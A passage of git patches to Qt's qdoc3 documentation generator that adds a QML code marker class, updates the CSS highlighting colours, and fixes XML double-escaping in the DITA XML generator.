+} + +bool QmlCodeMarker::recognizeExtension( const QString& ext ) +{ + return ext == "qml"; +} + +bool QmlCodeMarker::recognizeLanguage( const QString& lang ) +{ + return lang == "QML"; +} + +QString QmlCodeMarker::plainName( const Node *node ) +{ + QString name = node->name(); + if ( node->type() == Node::Function ) + name += "()"; + return name; +} + +QString QmlCodeMarker::plainFullName( const Node *node, const Node * /* relative */ ) +{ + QString fullName; + for ( ;; ) { + fullName.prepend( plainName(node) ); + if ( node->parent()->name().isEmpty() ) + break; + node = node->parent(); + fullName.prepend("."); + } + return fullName; +} + +QString QmlCodeMarker::markedUpCode( const QString& code, + const Node * /* relative */, + const QString& /* dirPath */ ) +{ + return protect( code ); +} + +QString QmlCodeMarker::markedUpSynopsis( const Node *node, + const Node * /* relative */, + SynopsisStyle style ) +{ + QString synopsis; + QStringList extras; + QString name; + + name = taggedNode( node ); + if ( style != Detailed ) + name = linkTag( node, name ); + name = "<@name>" + name + ""; + + if ( style == Detailed && !node->parent()->name().isEmpty() && + node->type() != Node::Enum ) + name.prepend( taggedNode(node->parent()) + "." ); + + switch ( node->type() ) { + case Node::Class: + synopsis = "class " + name; + break; + case Node::Function: + { + const FunctionNode *func = (const FunctionNode *) node; + + synopsis = name; + + if ( style == SeparateList ) { + synopsis += "()"; + } else { + synopsis += " ("; + if ( !func->parameters().isEmpty() ) { + synopsis += " "; + int numOptional = 0; + QList::ConstIterator p = func->parameters().begin(); + while ( p != func->parameters().end() ) { + if ( !(*p).defaultValue().isEmpty() ) { + if ( p == func->parameters().begin() ) { + synopsis += "[ "; + } else { + synopsis += " [ , "; + } + numOptional++; + } else { + if ( p != func->parameters().begin() ) + synopsis += ", "; + } + if ( !(*p).name().isEmpty() ) + synopsis += "<@param>" + protect( (*p).name() ) + + " : "; + synopsis += protect( (*p).leftType() ); + ++p; + } + for ( int i = 0; i < numOptional; i++ ) + synopsis += " ]"; + synopsis += " "; + } + synopsis += ")"; + } + + if ( style != SeparateList && !func->returnType().isEmpty() ) + synopsis += " : " + protect( func->returnType() ); + + if ( style == Detailed && func->metaness() == FunctionNode::Signal ) + extras << "[signal]"; + } + break; + case Node::Property: + { + const PropertyNode *property = (const PropertyNode *) node; + + synopsis = name; + if ( style != SeparateList ) + synopsis += " : " + property->dataType(); + if ( style == Detailed && property->setters().isEmpty() ) + extras << "[read only]"; + } + break; + case Node::Enum: + { + /* + The letters A to F and X (upper- and lower-case) can + appear in a hexadecimal constant (e.g. 0x3F). + */ + QRegExp letterRegExp( "[G-WYZg-wyz_]" ); + const EnumNode *enume = (const EnumNode *) node; + + synopsis = name; + if ( style == Summary && !enume->items().isEmpty() ) { + synopsis += " : "; + QString comma; + QList::ConstIterator it = enume->items().begin(); + while ( it != enume->items().end() ) { + if ( enume->itemAccess((*it).name()) == Node::Public ) { + synopsis += comma; + synopsis += (*it).name(); + if ( (*it).value().indexOf(letterRegExp) != -1 ) + synopsis += " = " + (*it).value(); + comma = ", "; + } + ++it; + } + } + } + break; + case Node::Namespace: + case Node::Typedef: + default: + synopsis = name; + } + + if ( style == Summary ) { + if ( node->status() == Node::Preliminary ) { + extras << "(preliminary)"; + } else if ( node->status() == Node::Deprecated ) { + extras << "(deprecated)"; + } else if ( node->status() == Node::Obsolete ) { + extras << "(obsolete)"; + } + } + + QString extra; + if ( !extras.isEmpty() ) + extra = "<@extra>" + extras.join(" ") + ""; + return synopsis + extra; +} + +QString QmlCodeMarker::markedUpName( const Node *node ) +{ + QString name = linkTag( node, taggedNode(node) ); + if ( node->type() == Node::Function ) + name += "()"; + return name; +} + +QString QmlCodeMarker::markedUpFullName( const Node *node, + const Node * /* relative */ ) +{ + QString fullName; + for ( ;; ) { + fullName.prepend( markedUpName(node) ); + if ( node->parent()->name().isEmpty() ) + break; + node = node->parent(); + fullName.prepend( "<@op>." ); + } + return fullName; +} + +QString QmlCodeMarker::markedUpEnumValue(const QString & /* enumValue */, + const Node * /* relative */) +{ + return QString(); +} + +QString QmlCodeMarker::markedUpIncludes( const QStringList& /* includes */ ) +{ + return QString(); +} + +QString QmlCodeMarker::functionBeginRegExp( const QString& funcName ) +{ + return "^function[ \t].*\\b" + QRegExp::escape( funcName ); +} + +QString QmlCodeMarker::functionEndRegExp( const QString& /* funcName */ ) +{ + return "^}"; +} + +QList
    QmlCodeMarker::sections( const InnerNode *inner, SynopsisStyle style, Status status ) +{ + QList
    sections; + + if (inner->type() != Node::Class) + return sections; + + const ClassNode *classe = static_cast(inner); + + if ( style == Summary ) { + FastSection enums(classe, "Enums", "", "enum", "enums"); + FastSection functions(classe, "Functions", "", "function", "functions"); + FastSection readOnlyProperties(classe, "", "Read-Only Properties", "property", "properties"); + FastSection signalz(classe, "Signals", "", "signal", "signals"); + FastSection writableProperties(classe, "", "Writable Properties", "property", "properties"); + + QStack stack; + stack.push( classe ); + + while ( !stack.isEmpty() ) { + const ClassNode *ancestorClass = stack.pop(); + + NodeList::ConstIterator c = ancestorClass->childNodes().begin(); + while ( c != ancestorClass->childNodes().end() ) { + if ( (*c)->access() == Node::Public ) { + if ( (*c)->type() == Node::Enum ) { + insert( enums, *c, style, status ); + } else if ( (*c)->type() == Node::Function ) { + const FunctionNode *func = (const FunctionNode *) *c; + if ( func->metaness() == FunctionNode::Signal ) { + insert( signalz, *c, style, status ); + } else { + insert( functions, *c, style, status ); + } + } else if ( (*c)->type() == Node::Property ) { + const PropertyNode *property = + (const PropertyNode *) *c; + if ( property->setters().isEmpty() ) { + insert( readOnlyProperties, *c, style, status ); + } else { + insert( writableProperties, *c, style, status ); + } + } + } + ++c; + } + + QList::ConstIterator r = ancestorClass->baseClasses().begin(); + while ( r != ancestorClass->baseClasses().end() ) { + stack.prepend( (*r).node ); + ++r; + } + } + append( sections, enums ); + append( sections, writableProperties ); + append( sections, readOnlyProperties ); + append( sections, functions ); + append( sections, signalz ); + } else if ( style == Detailed ) { + FastSection enums( classe, "Enum Documentation", "", "member", "members"); + FastSection functionsAndSignals( classe, "Function and Signal Documentation", "", "member", "members"); + FastSection properties( classe, "Property Documentation", "", "member", "members"); + + NodeList::ConstIterator c = classe->childNodes().begin(); + while ( c != classe->childNodes().end() ) { + if ( (*c)->access() == Node::Public ) { + if ( (*c)->type() == Node::Enum ) { + insert( enums, *c, style, status ); + } else if ( (*c)->type() == Node::Function ) { + insert( functionsAndSignals, *c, style, status ); + } else if ( (*c)->type() == Node::Property ) { + insert( properties, *c, style, status ); + } + } + ++c; + } + append( sections, enums ); + append( sections, properties ); + append( sections, functionsAndSignals ); + } else { // ( style == SeparateList ) + FastSection all(classe, "", "", "member", "members"); + + QStack stack; + stack.push( classe ); + + while ( !stack.isEmpty() ) { + const ClassNode *ancestorClass = stack.pop(); + + NodeList::ConstIterator c = ancestorClass->childNodes().begin(); + while ( c != ancestorClass->childNodes().end() ) { + if ( (*c)->access() == Node::Public ) + insert( all, *c, style, status ); + ++c; + } + + QList::ConstIterator r = ancestorClass->baseClasses().begin(); + while ( r != ancestorClass->baseClasses().end() ) { + stack.prepend( (*r).node ); + ++r; + } + } + append( sections, all ); + } + return sections; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h new file mode 100644 index 0000000..bc46209 --- /dev/null +++ b/tools/qdoc3/qmlcodemarker.h @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodemarker.h +*/ + +#ifndef QMLCODEMARKER_H +#define QMLCODEMARKER_H + +#include "codemarker.h" + +QT_BEGIN_NAMESPACE + +class QmlCodeMarker : public CodeMarker +{ +public: + QmlCodeMarker(); + ~QmlCodeMarker(); + + bool recognizeCode( const QString& code ); + bool recognizeExtension( const QString& ext ); + bool recognizeLanguage( const QString& lang ); + QString plainName(const Node *node); + QString plainFullName(const Node *node, const Node *relative); + QString markedUpCode( const QString& code, const Node *relative, + const QString& dirPath ); + QString markedUpSynopsis( const Node *node, const Node *relative, + SynopsisStyle style ); + QString markedUpName( const Node *node ); + QString markedUpFullName( const Node *node, const Node *relative ); + QString markedUpEnumValue(const QString &enumValue, const Node *relative); + QString markedUpIncludes( const QStringList& includes ); + QList
    sections(const InnerNode *innerNode, SynopsisStyle style, Status status); + QString functionBeginRegExp( const QString& funcName ); + QString functionEndRegExp( const QString& funcName ); +}; + +QT_END_NAMESPACE + +#endif -- cgit v0.12 From 076bba6c901e292b61fffb7a91020075dcd84919 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 7 Dec 2010 14:42:50 +0100 Subject: Doc: Added new style colors, increased the contrast of existing colors. --- doc/src/template/style/style.css | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 16bc9ed..03bc9a9 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -179,12 +179,27 @@ span.comment { - color: #8B0000; - font-style: italic; + color: #008B00; } span.string, span.char { - color: #254117; + color: #000084; + } + span.number + { + color: #a46200; + } + span.operator + { + color: black; + } + span.keyword + { + color: #840000; + } + span.name + { + color: black } -- cgit v0.12 From cac82fa92665c21abc8568b3287a50eb3dfc8349 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 7 Dec 2010 15:57:34 +0100 Subject: Updated the DITA generator to use the modified generator API. --- tools/qdoc3/ditaxmlgenerator.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index c7fc2a9..f46b663 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -573,7 +573,7 @@ void DitaXmlGenerator::generateTree(const Tree *tree) findAllNamespaces(tree->root()); findAllSince(tree->root()); - PageGenerator::generateTree(tree, marker); + PageGenerator::generateTree(tree); writeDitaMap(); } -- cgit v0.12 From 327c95f6ce1c2f2ae2e4da8ca89d5ef0b2595af3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 7 Dec 2010 16:35:32 +0100 Subject: Updated the DITA configuration to use the new configuration structure. --- tools/qdoc3/test/qt-ditaxml.qdocconf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index 1feb2b2..cc2937a 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -1,4 +1,4 @@ -include(qt.qdocconf) +include(qt-project.qdocconf) imagedirs = $QTDIR/doc/src/images \ $QTDIR/examples \ -- cgit v0.12 From 32292a7bdd3764aad917f7df1ea4a791f0b1528f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 8 Dec 2010 12:13:53 +0100 Subject: qdoc: Fixed the double escaping problem. It's sort of ugly, because it just removes the escapeing that the code marker puts in so the XML stream writer can put the escaping back in again. It doesn't seem to slow it down at all, which is wierd. --- tools/qdoc3/ditaxmlgenerator.cpp | 230 ++++++++++++++++++++------------------- tools/qdoc3/ditaxmlgenerator.h | 1 + 2 files changed, 120 insertions(+), 111 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index b4a42ab..378800c 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -308,6 +308,21 @@ QString DitaXmlGenerator::sinceTitles[] = static bool showBrokenLinks = false; /*! + Quick, dirty, and very ugly. Unescape \a text + so QXmlStreamWriter::writeCharacters() can put + the escapes back in again! + */ +void DitaXmlGenerator::writeCharacters(const QString& text) +{ + QString t = text; + t = t.replace("<","<"); + t = t.replace(">",">"); + t = t.replace("&","&"); + t = t.replace(""","\""); + xmlWriter().writeCharacters(t); +} + +/*! Appends an element to the current XML stream with the \a href attribute and the \a text. */ @@ -317,11 +332,11 @@ void DitaXmlGenerator::addLink(const QString& href, if (!href.isEmpty()) { xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href", href); - xmlWriter().writeCharacters(text.toString()); + writeCharacters(text.toString()); xmlWriter().writeEndElement(); // } else { - xmlWriter().writeCharacters(text.toString()); + writeCharacters(text.toString()); } } @@ -644,11 +659,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, endLink(); } else { - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } } else { - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } break; case Atom::BaseName: @@ -673,13 +688,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeCharacters("property"); else if (relative->type() == Node::Variable) xmlWriter().writeCharacters("variable"); - QStringList words = str.split(" "); - if (!(words.first() == "contains" || words.first() == "specifies" - || words.first() == "describes" || words.first() == "defines" - || words.first() == "holds" || words.first() == "determines")) - xmlWriter().writeCharacters(" holds "); - else - xmlWriter().writeCharacters(" "); + xmlWriter().writeCharacters(" holds "); } if (noLinks) { atom = atom->next(); @@ -690,12 +699,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead++; atom = atom->next(); } - str[0] = str[0].toLower(); - if (str.right(1) == ".") - str.truncate(str.length() - 1); - str[0] = str[0].toUpper(); - xmlWriter().writeCharacters(str + "."); } + str[0] = str[0].toLower(); + if (str.right(1) == ".") + str.truncate(str.length() - 1); + writeCharacters(str + "."); break; case Atom::BriefRight: // if (relative->type() != Node::Fake) @@ -705,7 +713,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::C: xmlWriter().writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]); if (inLink) { - xmlWriter().writeCharacters(protectEnc(plainCode(atom->string()))); + writeCharacters(protectEnc(plainCode(atom->string()))); } else { writeText(atom->string(), marker, relative); @@ -740,7 +748,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, // fallthrough case Atom::CodeBad: xmlWriter().writeStartElement("codeblock"); - xmlWriter().writeCharacters(trimmedTrailing(plainCode(atom->string()))); + writeCharacters(trimmedTrailing(plainCode(atom->string()))); xmlWriter().writeEndElement(); // break; case Atom::FootnoteLeft: @@ -986,7 +994,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle((*s).name)); xmlWriter().writeAttribute("outputclass","h3"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); //

    if (idx == Class) generateCompactList(0, marker, ncmap.value(), false, QString("Q")); @@ -1012,7 +1020,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(pmap.key(), 0)); QStringList pieces = fullName(pmap.key(), 0, marker).split("::"); - xmlWriter().writeCharacters(protectEnc(pieces.last())); + writeCharacters(protectEnc(pieces.last())); xmlWriter().writeEndElement(); // xmlWriter().writeCharacters(":"); xmlWriter().writeEndElement(); //

    @@ -1058,7 +1066,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } if (!text.isEmpty()) { xmlWriter().writeStartElement("alt"); - xmlWriter().writeCharacters(protectEnc(text)); + writeCharacters(protectEnc(text)); xmlWriter().writeEndElement(); // } xmlWriter().writeEndElement(); // @@ -1184,8 +1192,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("strow"); xmlWriter().writeStartElement("stentry"); xmlWriter().writeStartElement("tt"); - xmlWriter().writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), - relative)))); + writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), + relative)))); xmlWriter().writeEndElement(); //
    xmlWriter().writeEndElement(); // xmlWriter().writeStartElement("stentry"); @@ -1200,7 +1208,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeCharacters("?"); else { xmlWriter().writeStartElement("tt"); - xmlWriter().writeCharacters(protectEnc(itemValue)); + writeCharacters(protectEnc(itemValue)); xmlWriter().writeEndElement(); // } skipAhead = 1; @@ -1278,11 +1286,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (atom->string() == " ") break; if (atom->string().startsWith("&")) - xmlWriter().writeCharacters(atom->string()); + writeCharacters(atom->string()); else { xmlWriter().writeStartElement("pre"); xmlWriter().writeAttribute("outputclass","raw-html"); - xmlWriter().writeCharacters(atom->string()); + writeCharacters(atom->string()); xmlWriter().writeEndElement(); // } break; @@ -1323,7 +1331,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, generateLink(atom, relative, marker); } else { - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } break; case Atom::TableLeft: @@ -1467,13 +1475,13 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::UnhandledFormat: xmlWriter().writeStartElement("b"); xmlWriter().writeAttribute("outputclass","error"); - xmlWriter().writeCharacters("<Missing DITAXML>"); + xmlWriter().writeCharacters(""); xmlWriter().writeEndElement(); // break; case Atom::UnknownCommand: xmlWriter().writeStartElement("b"); xmlWriter().writeAttribute("outputclass","error unknown-command"); - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); xmlWriter().writeEndElement(); // break; case Atom::QmlText: @@ -1553,7 +1561,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // generateSection(s->members, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1566,7 +1574,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(name)); + writeCharacters(protectEnc(name)); xmlWriter().writeEndElement(); // generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1692,7 +1700,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // generateSection(s->members, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1705,7 +1713,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(name)); + writeCharacters(protectEnc(name)); xmlWriter().writeEndElement(); // generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1812,7 +1820,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // generateSection(s->members, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1825,7 +1833,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(name)); + writeCharacters(protectEnc(name)); xmlWriter().writeEndElement(); // generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); generateSectionInheritedList(*s, inner, marker); @@ -1928,7 +1936,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // generateQmlSummary(*s,qcn,marker); //generateSection(s->members, inner, marker, CodeMarker::Summary); @@ -1954,7 +1962,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); + writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // NodeList::ConstIterator m = (*s).members.begin(); while (m != (*s).members.end()) { @@ -1981,7 +1989,7 @@ void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& tex xmlWriter().writeStartElement("li"); xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",link); - xmlWriter().writeCharacters(text); + writeCharacters(text); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } @@ -2088,7 +2096,7 @@ void DitaXmlGenerator::writeLink(const Node* node, xmlWriter().writeAttribute("href", link); xmlWriter().writeAttribute("role", role); xmlWriter().writeStartElement("linktext"); - xmlWriter().writeCharacters(text); + writeCharacters(text); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } @@ -2237,7 +2245,7 @@ void DitaXmlGenerator::generateHeader(const Node* node, if (!outputclass.isEmpty()) xmlWriter().writeAttribute("outputclass",outputclass); xmlWriter().writeStartElement(nameElement); // or <apiName> - xmlWriter().writeCharacters(name); + writeCharacters(name); xmlWriter().writeEndElement(); // or } @@ -2605,7 +2613,7 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, else { xmlWriter().writeStartElement("entry"); xmlWriter().writeStartElement("p"); - xmlWriter().writeCharacters(protectEnc(node->doc().briefText().toString())); // zzz + writeCharacters(protectEnc(node->doc().briefText().toString())); // zzz xmlWriter().writeEndElement(); //

    xmlWriter().writeEndElement(); // } @@ -3030,7 +3038,7 @@ void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* xmlWriter().writeAttribute("outputclass","h3"); xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(groupNode, relative)); - xmlWriter().writeCharacters(protectEnc(groupNode->fullTitle())); + writeCharacters(protectEnc(groupNode->fullTitle())); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); //

    if (fakeNodeMap[groupNode].count() == 0) @@ -3044,7 +3052,7 @@ void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* xmlWriter().writeStartElement("li"); xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative)); - xmlWriter().writeCharacters(protectEnc(title)); + writeCharacters(protectEnc(title)); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } @@ -3065,7 +3073,7 @@ void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* xmlWriter().writeStartElement("li"); xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative)); - xmlWriter().writeCharacters(protectEnc(title)); + writeCharacters(protectEnc(title)); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } @@ -3120,14 +3128,14 @@ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, else text += section.pluralMember; text += " inherited from "; - xmlWriter().writeCharacters(text); + writeCharacters(text); xmlWriter().writeStartElement("xref"); // zzz text = fileName((*p).first) + "#"; text += DitaXmlGenerator::cleanRef(section.name.toLower()); xmlWriter().writeAttribute("href",text); text = protectEnc(marker->plainFullName((*p).first, relative)); - xmlWriter().writeCharacters(text); + writeCharacters(text); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // ++p; @@ -3269,7 +3277,7 @@ void DitaXmlGenerator::writeText(const QString& markedCode, const Node* n = 0; if (k == 0) { // <@link> if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); + writeCharacters(html); html.clear(); } n = CodeMarker::nodeForString(par1.toString()); @@ -3278,25 +3286,25 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } else if (k == 4) { // <@param> if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); + writeCharacters(html); html.clear(); } xmlWriter().writeStartElement("i"); - xmlWriter().writeCharacters(arg.toString()); + writeCharacters(arg.toString()); xmlWriter().writeEndElement(); // } else if (k == 5) { // <@extra> if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); + writeCharacters(html); html.clear(); } xmlWriter().writeStartElement("tt"); - xmlWriter().writeCharacters(arg.toString()); + writeCharacters(arg.toString()); xmlWriter().writeEndElement(); // } else { if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); + writeCharacters(html); html.clear(); } par1 = QStringRef(); @@ -3328,7 +3336,7 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } if (!html.isEmpty()) { - xmlWriter().writeCharacters(html); + writeCharacters(html); } } @@ -3341,7 +3349,7 @@ void DitaXmlGenerator::generateLink(const Atom* atom, if (funcLeftParen.indexIn(atom->string()) != -1 && marker->recognizeLanguage("Cpp")) { // hack for C++: move () outside of link int k = funcLeftParen.pos(1); - xmlWriter().writeCharacters(protectEnc(atom->string().left(k))); + writeCharacters(protectEnc(atom->string().left(k))); if (link.isEmpty()) { if (showBrokenLinks) xmlWriter().writeEndElement(); // @@ -3349,7 +3357,7 @@ void DitaXmlGenerator::generateLink(const Atom* atom, else xmlWriter().writeEndElement(); // inLink = false; - xmlWriter().writeCharacters(protectEnc(atom->string().mid(k))); + writeCharacters(protectEnc(atom->string().mid(k))); } else if (marker->recognizeLanguage("Java")) { // hack for Java: remove () and use when appropriate @@ -3358,13 +3366,13 @@ void DitaXmlGenerator::generateLink(const Atom* atom, if (tt) xmlWriter().writeStartElement("tt"); if (func) - xmlWriter().writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); + writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); else - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); xmlWriter().writeEndElement(); // } else - xmlWriter().writeCharacters(protectEnc(atom->string())); + writeCharacters(protectEnc(atom->string())); } QString DitaXmlGenerator::cleanRef(const QString& ref) @@ -3699,7 +3707,7 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, xmlWriter().writeStartElement("xref"); QString href = linkForNode(actualNode, relative); xmlWriter().writeAttribute("href",href); - xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); + writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); xmlWriter().writeEndElement(); // } @@ -4417,7 +4425,7 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) xmlWriter().writeStartElement(CXXCLASSBASECLASS); QString attr = fileName((*r).node) + "#" + (*r).node->guid(); xmlWriter().writeAttribute("href",attr); - xmlWriter().writeCharacters(marker->plainFullName((*r).node)); + writeCharacters(marker->plainFullName((*r).node)); xmlWriter().writeEndElement(); // // not included: or @@ -4529,7 +4537,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, xmlWriter().writeAttribute("class","signal"); else if (fn->metaness() == FunctionNode::Slot) xmlWriter().writeAttribute("class","slot"); - xmlWriter().writeCharacters(fn->name()); + writeCharacters(fn->name()); xmlWriter().writeEndElement(); // generateBrief(fn,marker); @@ -4589,7 +4597,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, } else { xmlWriter().writeStartElement(CXXFUNCTIONDECLAREDTYPE); - xmlWriter().writeCharacters(fn->returnType()); + writeCharacters(fn->returnType()); xmlWriter().writeEndElement(); // } @@ -4598,11 +4606,11 @@ void DitaXmlGenerator::writeFunctions(const Section& s, QString fq = fullQualification(fn); if (!fq.isEmpty()) { xmlWriter().writeStartElement(CXXFUNCTIONSCOPEDNAME); - xmlWriter().writeCharacters(fq); + writeCharacters(fq); xmlWriter().writeEndElement(); // } xmlWriter().writeStartElement(CXXFUNCTIONPROTOTYPE); - xmlWriter().writeCharacters(fn->signature(true)); + writeCharacters(fn->signature(true)); xmlWriter().writeEndElement(); // QString fnl = fn->signature(false); @@ -4613,7 +4621,7 @@ void DitaXmlGenerator::writeFunctions(const Section& s, ++idx; fnl = fn->parent()->name() + "::" + 